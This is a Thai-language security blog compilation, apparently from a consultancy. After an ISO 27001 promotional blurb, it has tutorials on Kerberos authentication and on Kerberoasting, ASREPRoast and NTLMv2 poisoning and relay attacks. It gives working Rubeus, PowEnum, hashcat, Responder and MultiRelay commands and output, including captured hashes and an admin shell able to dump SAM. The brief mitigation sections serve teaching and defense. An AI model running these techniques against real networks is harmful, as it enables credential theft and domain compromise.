จากข้อมูลข้างต้นนี้จะเห็นได้ว่าจุดเริ่มต้นเรื่องการบริหารจัดการด้าน Information security ด้าน IT Security และ Cybersecurity สามารถเริ่มต้นได้จากการพิจารณานำมาตรฐาน ISO 27001 นำไปปรับใช้ภายในองค์กร และจะเห็นได้ว่าการดำเนินการงานด้าน ISO 27001 นั้นนอกจากจะช่วยให้องค์กรสามารถสร้างความมั่นใจให้กับผู้มีส่วนได้ส่วนเสียสำหรับการคุ้มครองข้อมูลที่สำคัญ ก็ยังช่วยให้องค์กรเองสามารถปฏิบัติตามกฎหมายด้านความมั่นคงปลอดภัยสารสนเทศได้ไม่มากก็น้อยอีกด้วย อย่างไรก็ตามมีอีกหลายมาตรฐานที่ปัจจุบันหลายหน่วยงานองค์กรนำมาพิจารณาปรับใช้เป็นหลักเกณฑ์ข้อบังคับต่าง ๆ อีกมาตรฐานหนึ่งที่ได้รับความนิยมในประเทศไทยคือมาตรฐาน NIST Cybersecurity Framework (CSF) ผู้เขียนจะขอนำมาเล่าให้ฟังในโอกาสถัดไป
ในปัจจุบันมีความจำเป็นอย่างยิ่งที่จะต้องดูแลข้อมูลสารสนเทศสำคัญชององค์กร ซึ่งถือเป็นหัวใจหลักในการดำเนินธุรกิจ รวมไปถึงทรัพย์สิน (asset) ต่าง ๆ ขององค์กรด้านเทคโนโลยีสารสนเทศที่ทำงานร่วมกับข้อมูลสารสนเทศ เพื่อเป็นการเตรียมการในการป้องกัน รวมไปถึงการออกแบบการรับมือเหตุการณ์ด้านความมั่นคงปลอดภัยสารสนเทศในรูปแบบต่าง ๆ มาตรฐาน ISO 27001 เองก็จะได้รับความนิยมมากขึ้นเรื่อย ๆ และในปัจจุบันเองมาตรฐานฉบับนี้กำลังจะกลายเป็นข้อจำเป็นพื้นฐานในการทำงานร่วมกัน ดังจะเห็นได้จากมาตรฐาน ISO 27001 ได้ถูกกำหนดไว้เป็นส่วนหนึ่งของเอกสารความต้องการโครงการ (Terms of Reference: TOR) ในการยื่นงานทั้งภาครัฐและภาคเอกชน ผู้เขียนคาดว่าในอนาคตอันใกล้นี้มาตรฐานฉบับนี้จะกลายเป็นความจำเป็นพื้นฐาน (minimum requirement) โดยปริยาย สำหรับผู้ที่ต้องการข้อมูลเพิ่มเติมสำหรับมาตรฐาน ISO 27001 นี้ หรือมาตรฐานอื่นใดด้านเทคโนโลยีสารสสนเทศ สามารถติดต่อทีมที่ปรึกษาเราได้ที่
หรือ 090-642-8988 | 080-089-8800
# Kerberoasting Attack
Kerberoasting เป็นเทคนิคหนึ่งในการโจมตี Kerberos มีเป้าหมายเพื่อ crack หา Password ของ target service บน Windows Domain Environment แบบ offline โดยที่เราไม่จำเป็นต้องไปแตะหรือ interface กับ target service หรือเครื่องเป้าหมายเลย เพียงแค่เราคุยกับ KDC เพื่อขอ TGS มาก็พอ ข้อดีคือเราสามารถทำการ crack ในลักษณะ offline ได้ ทำให้เราไม่ต้องกังวลว่าจะสร้าง noise ใด ๆ ให้เกิดขึ้นบน target ปลายทางหรือใน environment ไม่ว่าจะเป็นการสร้าง log หรือเผลอทำ account lock
คำว่า "target service" ถูกเรียกใช้เพื่อความง่าย ถ้าจะระบุอย่างเฉพาะเจาะจงแล้วต้องหมายถึง AD(Active Directory) object ใด ๆ เช่นเป็น service account, user account หรือ computer object ก็ได้ ที่มี SPN(Service Principal Name) ผูกไว้อยู่เพื่อจะได้รู้ว่า service นั้น ๆ ถูก run ภายใต้ account อะไร เทคนิค Kerberoasting จึงมุ่งหมายโจมตีไปยัง password ของ SPN ซึ่งจะผูกกับ account ใน AD นั่นเอง
การโจมตีไปยัง account ที่มี SPN สร้างข้อได้เปรียบอย่างหนึ่งก็คือ password ที่ใช้มักจะไม่ได้เปลี่ยนบ่อยเนื่องจากมันเป็น service และให้เลือก SPN ที่เป็น user account อย่าไปใช้ computer account เพราะ password จะซับซ้อนกว่า
อารัมภบทมาพอสมควรแล้ว คราวนี้มาลองดูสิ่งที่เกิดขึ้นจากผ่าน Authentication flow ของ Kerberos กันบ้าง หากทำ TGS Request แบบปกติสิ่งที่ตอบกลับมาจะเป็น TGS ในรูปแบบของ

```bash
enc(\[username,service_session_key,TGS period,PAC\],target_key)
```
ซึ่ง TGS นั้นมีแต่ target service ที่จะสามารถแงะออกมาได้ หากเราได้ TGS มาย่อมมีความเป็นไปได้ที่จะหา target\_key ได้เช่นกัน และถ้าหากทำสำเร็จสิ่งที่ได้ก็คือ password ของ SPN ที่เรากำลังสนใจนั่นเอง
## Attack Methods
สำหรับกรณี Kerberoasting attack ผู้เขียนเองชอบใช้ PowEnum ที่มี option ในการ run kerberoasting ด้วย ( PowEnum เป็น PowerShell Script ที่เรียกใช้ function ของ Powerview มีไว้เพื่อทำการ enumerate ข้อมูลจาก Active Directory ใช้งานสะดวกเพราะ run เพียง 1 คำสั่งก็จะได้ข้อมูลที่สามารถดึงได้จาก AD อยู่หลายอย่างทั้ง Users, Group, AdminCount, DNS Record หรือ File Servers สามารถไปดูรายละเอียดการใช้งานได้จาก {rel=""nofollow""}
การทำ Kerberoasting attack นั้นจำเป็นที่จะต้องได้ TGT ก่อน นั่นหมายความว่าต้องมี domain user account เรียบร้อยแล้วถึงจะโจมตีได้ สำหรับ PowEnum สามารถเริ่มต้นใช้งานได้จากเครื่องที่ไม่ได้ join domain โดย run คำสั่งจาก cmd ดังนี้
```bash
\> runas /netonly /user:demodomain\\dorothy powershell
Enter the password for demodomain\\dorothy:
Attempting to start powershell as user "demodomain\\dorothy" …
```
หลังจาก PowerShell console แสดงผลแล้วให้เรียกใช้ PowEnum
```bash
\> Import-Module .\\PowEnum.ps1
\> Invoke-PowEnum -NoExcel -Mode Roasting -FQDN demodomain.local
```
หากใน Domain Environment มี SPN อยู่ จะพบว่าจะสามารถระบุได้ว่ามี SPN กี่ account ที่ทำ Kerberoast มาได้ จากภาพจะพบว่ามี 2 account

ให้เปิด output file จะพบค่า TGS ของ SPN ที่หามาได้
```text
$krb5tgs$23$\*svcsytem1$demodomain.local$MSSQLSvc/system7.demodomain.
local:1433\*$6E18FA25B… (stripped)
$krb5tgs$23$\*svcadmin$demodomain.local$MSSQLSvc/system8.demodomain.l
ocal:2138\*$5798BE…(stripped)
```
ลำดับถัดไปให้ทำ offline crack ด้วย hashcat ตาม style, dictionary และเทคนิคตามสะดวก
```bash
\> hashcat64 -r ..\\hob064.rule.txt -m 13100 ..\\kerb_tgs.txt
..\\rockyou.txt -o cracked.txt — force
```
## Mitigation
1. ถ้าใช้ service account และมีการตั้ง SPN อยู่ด้วย ให้ทำการตั้งค่า password ที่ strong และ complex ที่ยากและใช้ effort มากเกินกว่าที่จะ crack ได้ในระยะเวลาที่ attacker จะทนรอได้
2. หากต้องการใช้ service account ให้เปลี่ยนไปใช้ Group Managed Service Account (gMSA) ที่ AD จะเป็นผู้รับผิดชอบเรื่อง password เอง ลองดูรายละเอียดเพิ่มเติมได้จาก
- {rel=""nofollow""}
- {rel=""nofollow""}
**Reference**
1. ทำความรู้จักกับ SPN และดูตัวอย่างของ SPN ได้ที่ {rel=""nofollow""}
# ASREPRoast Attack
ASREPRoast Attack เป็นวิธีการโจมตีโดยนำ message ที่ได้จาก step ของ TGT Reply หรือ AS\_REP มาทำ offline attack เพื่อหา password ของ account ที่สนใจ
ลองดูรูปแบบปกติ TGT Reply จะถูกตอบกลับก็ต่อเมื่อ มีการส่ง TGT Request อย่างถูกต้องออกไปเท่านั้นซึ่งผู้ส่งต้องรู้ password ของ account นั้น ๆ เท่านั้นถึงจะส่งไปแล้ว KDC จึงตอบกลับมาด้วย TGT ของ account คนเดียวกัน ทำให้ attacker ไม่สามารถจะโจมตี account ใด ๆ ตามใจได้ โดยค่า enc(timestamp,hash\_of\_password) จะถูกเรียกว่า Kerberos Preauthentication

โดยปกติแล้ว Kerberos Preauthentication จะถูก enable โดย default แต่หากมี admin ซี้ซั้วตั้งค่าโดยไม่ตั้งใจตามภาพจะทำให้โจมตีด้วย ASREPRoast ได้
{width="100%"}
ASREPRoast Attack สามารถโจมตีได้โดยไม่จำเป็นต้องรู้ credential ของ domain accountใด ๆ เลย ดังนั้นหากมี misconfiguration ตามภาพจะสามารถทำ ASREPRoast ได้
## Attack Methods
tools ในการโจมตีมีตัวเลือกเยอะ จึงขอเลือก tools ที่ทางผู้เขียนเคยใช้เป็นหลัก
1. ใช้ PowEnum เลือก mode เป็น Roasting จะสามารถหา hash จาก Kerberoasting และ ASREPRoasting ได้
2. ใช้ Rubeus ({rel=""nofollow""}) เป็น tool ที่พัฒนาโดยอาศัย idea จาก project kekeo ({rel=""nofollow""}) ของ Benjamin Delpy (คนเดียวกันกับคนสร้าง mimikatz) ที่ต้อง reinvent the wheel ก็เพราะว่า kekeo ใช้ commercial library ในการจัดการกับ Kerberos ASN.1 structures ทำให้ไม่สะดวกเวลาใช้งานจึงมีการทำ Rubeus ขึ้นมา
ให้ทำการ download และ build Rubeus ขึ้นมาหลังจากนั้นก็ใช้งานโดยให้อยู่ใน local network ของ domain environment นั้น ๆ (ไม่จำเป็นต้อง join domain) จากนั้น run คำสั่ง
```bash
> Rubeus.exe asreproast /outfile:out.txt /format:hashcat /domain:demodomain.local
```

```bash
Action: AS-REP roasting
Target Domain : demodomain.local
SamAccountName : tbob
DistinguishedName : CN=tbob,OU=TUsers,DC=demodomain,DC=local
Using domain controller: demodomain.local (192.168.100.10)
Building AS-REQ (w/o preauth) for: 'demodomain.local\\tbob'
AS-REQ w/o preauth successful!
Hash written to D:\\out.txt
Roasted hashes written to : D:\\out.txt
```
หากมีการแสดงข้อความ AS-REQ w/o preauth successful! แสดงว่ามี account ที่ disable preauthentication ให้นำ hash ที่ได้ไป offline crack ในลำดับถัดไป
```text
$krb5asrep$23$tbob@demodomain.local:47AC2248725F4E6CE2295C380CXXXXXX$51A78E6C55B42D9EXXXXX....
```
ให้ดู hash type ของ hashcat ได้จาก {rel=""nofollow""} จะพบว่า code คือ 18200 จากนั้นให้ทำ offline crack ด้วย hashcatตาม style, rules, dictionary และเทคนิคตามสะดวก
```bash
root@kali# hashcat -r hob064.rule -m 18200 hash1.txt rockyou.txt -o cracked.txt --force
```
---
## Mitigation
ASREPRoast Attack จะทำได้ต้องอาศัย misconfiguration จาก admin ซึ่งหากไม่เกิด human error ขึ้น preauthentication จะมีอยู่โดย default ดังนั้นวิธีแก้จึงอยู่ที่การหลีกเลี่ยงการ disable preauthentication และหมั่นตรวจสอบการเปลี่ยนแปลงของ configuration ดังกล่าวเป็นประจำ และท้ายที่สุดต้องฝากความหวังไปที่การบังคับใช้ strong password ด้วย
# Kerberos in Windows Domain Environment
## Intro
ใน Windows Domain Environment เมื่อเครื่องที่อยู่ใน domain ต้องการสื่อสารกันจะใช้ Kerberos เป็น Protocol หลักในการทำ Authentication หากไม่สามารถใช้ได้จะหนีไปใช้ NTLMv2 แทน (สามารถเรียกอีกอย่างได้ว่า Net-NTLMv2\*)
สำหรับ Kerberos เองเป็น Network Authentication Protocol ที่อาศัยการใช้งานของ "ticket" เป็นหลัก มีหน้าที่พิสูจน์ตัวตนว่าต่างฝ่ายต่างเป็นคนคนนั้น หรือ entity ที่จะสื่อสารด้วยตัวจริง สามารถใช้งานผ่าน channel ที่ไม่ secure ก็ได้ แต่มีข้อแม้ว่า entity ทั้งสองที่จะคุยกันต้องเชื่อตัวกลาง (trust party) ซึ่งก็คือ Kerberos Server นั่นเอง โดยเจ้า trust party ในโลกของ Windows Domain ก็คือเครื่อง Domain Controller Server นั่นเอง
Component ที่ต้องรู้จักใน Kerberos ประกอบด้วย
1. KDC (Key Distribution Centre) : เป็นตัวกลางหรือ trust party ถ้าไปดู Services บน Windows Domain Controller จะมี service ชื่อ "Kerberos Key Distribution Centre" ที่ทำหน้าที่นี้อยู่ ทำหน้าที่เป็น Authentication service และ Ticket Granting service
2. client : เป็น entity ที่อยากจะ request เข้าหา resource/service ใน domain ให้มองง่าย ๆ ว่าเป็นเครื่อง workstation ใน domain ก็ได้
3. service : เป็น entity ที่ client อยากใช้บริการ มองว่าเป็น service บน server ก็ได้ โดย service จะมีชื่อเรียกที่เป็น unique name ซึ่งชื่อในที่นี้เราจะเรียกว่า SPN (Service Principal Name)
อ่านมาถึงนี่แล้วขอสรุปสั้น ๆ ก่อนที่จะไปต่อ
1. Kerberos เป็น Authentication Protocol ไม่ได้ทำหน้าที่ Authorisation
2. มี 3 party คือ KDC, client และ service
3. ใช้งานบน insecure network ก็ได้ เหนือกว่า NTLMv2 เพราะถูก capture ไปก็ทำอะไรไม่ได้ ไม่เหมือน NTLMv2 ที่อาจโดน capture ค่า hash ที่คุยระหว่างกัน โดยใน Windows environment นั้น Kerberos ใช้งานผ่าน TCP/88 และ UDP/88
## Authentication Flow
ลำดับต่อไปจะอธิบายถึง Authentication Flow ซึ่งข้อมูลที่รับส่งระหว่าง entity จะขออธิบายเฉพาะค่าที่จำเป็นหรือค่าที่อยากให้สนใจเท่านั้น แน่นอนว่ามีค่าหรือตัวแปรอื่น ๆ อีกพอสมควรซึ่งไม่ขอกล่าวถึง ในช่วงท้ายของบทความจะทิ้งท้ายด้วย Reference ที่สามารถไปศึกษาต่อได้
### 1. TGT Request (KRB\_AS\_REQ)
เมื่อ client ต้องการ authenticate เข้าไปยัง domain จะต้องส่ง request ไปยัง Authentication Server ก่อน (KDC หรือ Domain Controller รับหน้าที่เป็น authentication server หรือ AS ด้วย) โดยจะส่ง username และ cipher text ที่ได้จากการนำ timestamp ไป encrypt ด้วยค่า hash ของ password ของผู้ใช้งาน ตามรูปคือ
```bash
username + enc(timestamp,hash_of_password)
```

เพิ่มเติมอีกนิดเพื่อความเข้าใจ
*ใน message จะมีการส่ง SPN ของ krbtgt (ชี้ Service Principal Name ไปยัง krbtgt ที่เป็น account ที่รับผิดชอบเรื่อง ticket ทั้งหลายใน Kerberos Ecosystem โดย 1 domain จะมี 1 krbtgt account) และ nonce ฝั่ง client ด้วย*
*ที่ต้อง encrypt ค่า timestamp เพราะเป็นกระบวนการของ pre-authentication ซึ่งโดย default แล้วจะบังคับให้ทำ*
### 2. TGT Reply (KRB\_AS\_REP)
เมื่อ AS ได้รับ message มาแล้ว (Domain Controller ได้รับ) จะไปดึงข้อมูล password ที่เก็บในรูปแบบ hash ของ username คนนั้น ที่ส่งมา นำมา decrypt ค่า cipher text หากทำได้สำเร็จ client จะได้รับ TGT (ticket-granting ticket) :br
โดย message ที่ตอบกลับประกอบด้วย
```bash
username +enc(\[username,period,session_key,PAC\], krbtgt_key) + enc(\[session_key, period, nonce\], hash_of_password)
```
- enc(\[username,period,session\_key,PAC], krbtgt\_key) ชุดนี้เราเรียกว่า TGT ประกอบด้วย การนำ username, expiration time ของ TGT, ค่า session\_key สำหรับคุยกับ KDC ในอนาคต และค่า PAC (Privilege Attribute Certificate) ไปเข้ารหัสด้วยค่า krbtgt\_key ซึ่งเป็น hash ของ password ของ krbtgt account
- enc(\[session\_key, period, nonce], hash\_of\_password) คือ message อีกส่วนที่นำ ค่า session\_key สำหรับคุยกับ KDC ในอนาคต, expiration time ของ TGT และ user nonce เพื่อ prove ว่าไม่ได้เกิดจากเอา message มา replay ไปเข้ารหัสด้วยค่า hash ของ password ผู้ใช้งานที่กำลังคุยกับ KDC
มาถึง step นี้หลังจาก client ได้รับค่า message ชุดนี้ แสดงว่า client ผ่าน authentication process แล้ว จากนี้จะไปแงะเอาค่า session\_key ไปใช้คุยกับ KDC ในห้วงเวลาถัดไป
*ขยายความค่า PAC*
*สำหรับค่า PAC มีความสำคัญมากเพราะเป็นค่าที่กำหนด privilege ของผู้ใช้งาน โดยถ้ามองโครงสร้างข้างในจะขออธิบายด้วย slide จากหัวข้อ "Abusing Microsoft Kerberos sorry you guys don’t get it" by Alva \`Skip\` DUCKWALL & Benjamin DELPY (น่าจะคุ้นหูคุ้นตากันมาบ้างนะครับเพราะ Benjamin DELPY คือผู้สร้าง mimikatz นั่นเอง)*

1. ใน PAC จะมีข้อมูลสำหรับ account นั้น ๆ ซึ่งค่านี้มีความสำคัญสุด ๆ จึงถูก sign ด้วย target key และ KDC key สำหรับ target key ใน step ของการ request TGT นั้นจะใช้ krbtgt NT hash ซึ่งก็คือ KDC key ตัวเดียวกัน (target หมายถึง entity ที่กำลังคุยด้วย)\_
2. client ไม่สามารถแงะเพื่อดูของใน TGT ได้ เอาไว้ส่งให้ KDC ดูในอนาคตว่า client มี TGT แล้วนะ\_
### 3. TGS Request (KRB\_TGS\_REQ)
เมื่อ client ต้องการใช้บริการของ service ที่ต้องการ ก็จะทำการร้องขอ TGS (ticket-granting service) จาก KDC โดยจะส่ง

```bash
TGT + SPN of target service +enc(\[username,timestamp\],session_key).. มี nonce ด้วยนะ
```
- TGT : บอกว่าผ่าน TGT Request มาแล้ว ซึ่ง KDC แงะได้เท่านั้น
- SPN of target service : บอกว่าอยากจะใช้บริการใคร; target service ชื่อ SPN ว่าอะไร
- enc(\[username,timestamp],session\_key) หรือ authenticator : ค่า cipher text ที่ประกอบด้วย username และ timestamp เข้ารหัสด้วย session\_key
### 4. TGS Reply (KRB\_TGS\_REP)
KDC จะเปรียบเทียบ content ใน authenticator กับของที่แงะออกมาจาก TGT ถ้าสอดคล้องกัน แสดงว่า client คือคนที่เคยผ่าน authentication มาแล้ว จากนั้นจะส่ง message กลับ 2 ส่วนคือ
```bash
client portion: enc( \[service_session_key, TGS period, nonce\], session_key) + server portion:TGS:enc(\[username,service_session_key,TGS period,PAC\],target_key)
```
- enc( \[service\_session\_key, TGS period, nonce], session\_key) : ประกอบด้วย service\_session\_key สำหรับคุยกับ target service ในลำดับต่อไป, ช่วงเวลาที่ TGS ใช้งานได้ และ nonce ป้องกัน replay attack ทั้งหมดถูกเข้ารหัสด้วย session\_key ที่ client สามารถเอามาแงะ client portion ได้
- TGS\:enc(\[username,service\_session\_key,TGS period,PAC],target\_key) : ชุดนี้เราจะเรียกว่า TGS ที่ target service สามารถแงะออกมาได้ ประกอบด้วย username ของคนที่ร้องขอ, ค่า service\_session\_key สำหรับคุยกับ user คนนั้น, ช่วงเวลาที่ TGS ใช้งานได้ และค่า PAC ที่ระบุสิทธิ์ของ user โดยถูก sign ด้วย target key และ krbtgt key (รอบนี้ใช้ทั้ง target\_key และ krbtgt\_key ในการ sign แล้ว ต่างกับ step ก่อนที่ทั้ง target\_key และ krbtgt\_key คือ krbtgt\_key หรือ NT Hash ของ password ของ krbtgt account)
เมื่อ client รับ message ก็จะแงะเอา service\_session\_key มาใช้ และได้ TGS เอาไปแสดงให้กับ service ที่กำลังจะร้องขอต่อไป
### 5. AP Request (KRB\_AP\_REQ)
เมื่อ client พร้อมใช้บริการ service ก็จะส่ง
```bash
TGS + authenticator:enc(username+timestamp,service_session_key)
```
ไปหา target service
### 6. AP Reply

service ทำการเปรียบเทียบ content ใน TGS และ authenticator ว่าสอดคล้องกันหรือไม่ ถ้าใช่ก็จะตอบ message กลับ
```bash
enc(\[timestamp\],service_session_key)
```
โดยการนำ timestamp ที่แงะออกมาได้ เอามา encrypt ด้วย service\_session\_key หลังจาก client ได้รับก็จะแงะและเปรียบเทียบ timestamp ว่าตรงกันหรือไม่ ถ้าตรงกัน client ก็จะมั่นใจว่า service ที่กำลังคุยอยู่คือตัวจริง แล้ว connection ก็เริ่มต้นขึ้นหลังจากนี้
Remark
> Kerberos เจ๋งกว่า NTLMv2 เพราะไม่ต้องส่งหรือเก็บ password อีกทั้ง performance ดีกว่า ในแง่ของความยืดหยุ่น ถ้าเราใช้ Kerberos เราจะมี concept ของ Delegation ที่ impersonate เป็น entity อื่นได้ :br
> ขอเคลียให้ชัดก่อนทุกคนจะได้เข้าใจ ใน Windows Environment จะพบเรื่องพวกนี้ตลอด
- LM มักจะหมายถึงรูปแบบการจัดเก็บ password ในรูปแบบ LM Hash รายละเอียดลองไปหาอ่านกันดู
- NTLM มักจะหมายถึงรูปแบบการจัดเก็บ password ในรูปแบบทั้ง LM Hash และ NT Hash
- NTLMv1 และ NTLMv2 เป็น Authentication protocol รูปแบบ challenge-response สามารถเรียกอีกแบบว่าเป็น Net-NTLMv1 และ Net-NTLMv2 ได้ตามลำดับ เพื่อแสดงความแตกต่างจาก NTLM (สังเกตว่าเรียกคล้าย ๆ NTLM เลย เนื่องจากเจ้า NTLMv1 มีการใช้ NT Hash และ LM Hash ด้วย ส่วน version สำหรับ v2 ก็จะ secure กว่า v1)
ดังนั้นความหมายและ Notation ที่เขียนออกมาอาจจะทำให้สับสนได้ Professional Penetration Tester ที่ดีควรต้องเข้าใจและสามารถอธิบายให้คนอื่นเข้าใจถึงความแตกต่างได้ด้วย
## Reference
1. {rel=""nofollow""}
2. {rel=""nofollow""}
3. {rel=""nofollow""}
4. Kerberos Authentication 101: Understanding the Essentials of the Kerberos Security Protocol; Redmon Magazine; Geir Olsen
# NTLMv2 Attack
จากบทความก่อนหน้าที่กล่าวอธิบายว่าใน Windows Domain Environment เมื่อเครื่องที่อยู่ใน domain ต้องการสื่อสารกันจะใช้ Kerberos เป็น Protocol หลักในการทำ Authentication หากไม่สามารถใช้ได้จะหนีไปใช้ NTLMv2 แทน ซึ่งเงื่อนไขการไม่ใช้ Kerberos นั้นมีอยู่ 2 ข้อ
1. ถ้าอ้างอิงปลายทางด้วย IP address เช่น \\\192.168.1.10 แบบนี้ Kerberos จะไม่ได้ถูกใช้ เพราะว่า Kerberos ใช้ SPN สำหรับการทำ authentication
2. เมื่อ target มันเก่าหรือ target ไม่ support Kerberos เช่นวาง squid เป็น proxy โดยทำ authentication กับ AD ด้วย NTLM
เมื่อมีเงื่อนไขดังกล่าว Net-NTLMv2 หรือ NTLMv2 จะถูกนำมาใช้เป็น Protocol หลักในการทำ Authentication ซึ่งข้อดีคือ Windows Environment ส่วนใหญ่ไม่มีการ Disable Protocol ดังกล่าวเลย
ในปัจจุบันเรามีเทคนิคในการทำ NTLMv2 Attack อยู่ 2 รูปแบบ
1. ดักจับ NTLMv2 Challenge-Response ซึ่งจะมี username/password อยู่ในรูปแบบของ NT hash จากนั้นทำ offline crack หา plaintext password
2. ทำ SMB Relay โดยส่งต่อ NTLMv2 Challenge-Response เพื่อไป authenticate กับ target ปลายทางโดยไม่จำเป็นต้องรู้ plaintext password โดยจะทำผ่าน SMB Connection
การจะเอาค่า NTLMv2 challenge-response มาได้นั้น ต้องอาศัยการทำ Man-in-the-middle attack ซึ่งถ้าใช้ท่าแบบปกติคือ arp spoofing ก็จะไม่ค่อยสะดวกมากนักเนื่องด้วยเรื่องของ performance และความไม่สะดวกในการ response หากจะทำ SMB relay
Responder เป็น tool พัฒนาโดย SpiderLabs ({rel=""nofollow""}) ทำขึ้นเพื่อเน้นการโจมตีไปยัง NTLM authentication โดยเฉพาะ โดย concept คือทำการหลอกให้ victim คิดว่าเราคือ target ที่ victim อยากจะคุยด้วยทำให้ NTLMv2 Challenge-Response ถูกเก็บไปใช้ประโยชน์ต่อ
ก่อนที่จะดูวิธีการโจมตี ผู้อ่านต้องทราบว่า sequence การทำ Name Resolution ของ Windows Environment มีลำดับดังนี้
1. host file — C:\Windows\System32\drivers\etc\hosts
2. cache ของ dns — สามารถดูได้จาก คำสั่ง ipconfig /displaydns
3. DNS หากเป็น Windows Domain Environment ก็จะเป็น Server ที่ทำ DNS Service ด้วยเช่น Domain Controller Server
4. LLMNR (Link Local Multicast Name Resolution; เริ่มใช้งานตั้งแต่ Windows Vista) และ NBT-NS (NetBIOS Name Server) เป็น protocol ที่ให้ host ที่อยู่ใน subnet เดียวกันสามารถ resolve name ผ่าน multicast address ได้ :br
IPv4–224.0.0.252 :br
IPv6 — FF02:0:0:0:0:0:1:3
หากเครื่องของ victim พยายาม resolve name ตามลำดับ sequence#1,2 และ 3 และสุดท้ายหาไม่เจอ LLMNR หรือ NBT-NS จะถูกใช้งาน ซึ่ง Responder จะคอย listening อยู่เพื่อรอการดักจับและโจมตี NTLM Authentication
## Attack Methods
```bash
NTLMv2 challenge-response offline brute force
```
1. ก่อนจะเริ่มใช้งาน Responder ให้ดู interface ของเครื่อง attacker ก่อนว่าใช้ interface อะไร โดยผู้เขียนใช้ eth0 หลังจากนั้นให้ลองดู traffic ในเครือข่ายก่อนว่ามีเครื่องที่เหมาะต่อการทำการโจมตีหรือไม่ ด้วย Analyze mode ซึ่งจะทำการ monitor การ LLMNR และ NBT-NS request
```bash
./Responder.py -I eth0 -A
```
2. หากจะทำการโจมตีแบบ targeted attack เฉพาะเครื่องให้ทำการ configure ระบุ target ใน Responder.conf ในที่นี้จะโจมตีไปยังเครื่องเดียวคือ 192.168.10.31 แต่หากต้องการ respond ให้กับทุกเครื่องที่มีการ request ให้ปล่อยว่างไว้
```bash
; Specific IP Addresses to respond to (default = All); Example: RespondTo = 10.20.1.100–150, 10.20.3.10RespondTo = 192.168.10.31
```
3. ทำการ run Responder
```bash
root@kali:~/Responder# ./Responder.py -I eth0
Screen Shot 2564-08-26 at 10.22.31 AM.pngNBT-NS, LLMNR & MDNS Responder 3.0.0.0
Author: Laurent Gaffie (
laurent.gaffie@gmail.com
)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.10.252]
Challenge set [random]
Respond To ['192.168.10.31']
Don't Respond To Names ['ISATAP']
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 192.168.10.31 for name HEYJUDE
(service: File Server)
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[SMB] NTLMv1-SSP Client : 192.168.10.31
[SMB] NTLMv1-SSP Username : DEMODOMAIN\Bobby
[SMB] NTLMv1-SSP Hash :
Bobby::DEMODOMAIN:BXXB63XXXXXXXXXX00000000000000000000000000000000:3
FXXXXX6AE3..:3XXXXf23a...
[*] [LLMNR] Poisoned answer sent to 192.168.10.31 for name heyjude
[*] Skipping previously captured hash for DEMODOMAIN\Bobby
```
4. ลำดับถัดไปให้ทำ offline crack ด้วย hashcat ตาม style, dictionary และเทคนิคตามสะดวก หากเป็น NTLMv2 ใช้ hashtype ที่ 5600 ส่วนกรณีผลที่ได้ในขั้นตอนก่อนหน้าสามารถใช้ NTLMv1 Multitool ช่วยได้ {rel=""nofollow""}
> ท่า SMB Relay
หากทำ offline crack ไม่สำเร็จ เราก็ยังมีอีกตัวเลือกคือการทำ SMB Relaying Attack ที่ผสมผสาน Responder และ tool ที่อยู่ใน repository เดียวกัน

1. ก่อนจะเริ่มโจมตีด้วยท่า SMB Relay ต้องตรวจสอบก่อนว่า Local Network มีการใช้ SMB Signing หรือไม่ หากมีการใช้งานอยู่ทุกเครื่องท่านี้จะใช้ไม่ได้ โดยให้ run tool ที่ชื่อ RunFinger.py ใน subnet ที่ attacker เชื่อมต่ออยู่ ผลลัพธ์ที่ได้ต้องคัดกรองหาเฉพาะเครื่องที่มี Signing:’False’
```bash
root@kali:~/Responder# tools/RunFinger.py -i 192.168.10.0/24 -g |
grep "Signing:’False’"
[‘192.168.10.133’, Os:’Could not fingerprint Os version.’,
Domain:’LOCALGROUP’, Signing:’False’, Time:’2020–05–25 09:11:51',
Null Session: ‘False’, RDP:’True’]
Binary file (standard input) matches
```
2. ให้หยุดการทำ SMB และ HTTP poisoning ของ Responder ใน Responder.conf
```bash
[Responder Core]
; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
; Custom challenge.
; Use "Random" for generating a random challenge for each requests (Default)
Challenge = Random
```
3. run Multirelay เพื่อ route traffic ไปยังเครื่องที่เป็น target ที่ไม่ได้ใช้ SMB Signing โดยให้ใช้ hash ที่ถูก capture มาได้ทั้งหมด relay ไปยังเครื่อง target
```bash
#./MultiRelay.py -t 192.168.10.133 -u ALL
Retrieving information for 192.168.10.133...
SMB signing: False
Os version: 'Windows Server 2012 Standard 9200'
Hostname: 'demoserver'
Part of the 'LOCALGROUP' domain
[+] Setting up SMB relay with SMB challenge: 5d28xxxxx37c4706
[+] Received NTLMv1 hash from: 192.168.10.8
[+] Client info: ['windows Server 2012 Standard 9200', domain:
'demodomain', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate
Available commands:
dump -> Extract the SAM database and print hashes.
regdump KEY -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File -> Read a file (eg: read /windows/win.ini)
get Path_To_File -> Download a file (eg: get
users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete
/windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload
/home/user/bk.exe), files will be uploaded in \windows\temp\
runas Command -> Run a command as the currently logged in user.
(eg: runas whoami)
scan /24 -> Scan (Using SMB) this /24 or /16 to find hosts
to pivot to
pivot IP address -> Connect to another host (eg: pivot 10.0.0.12)
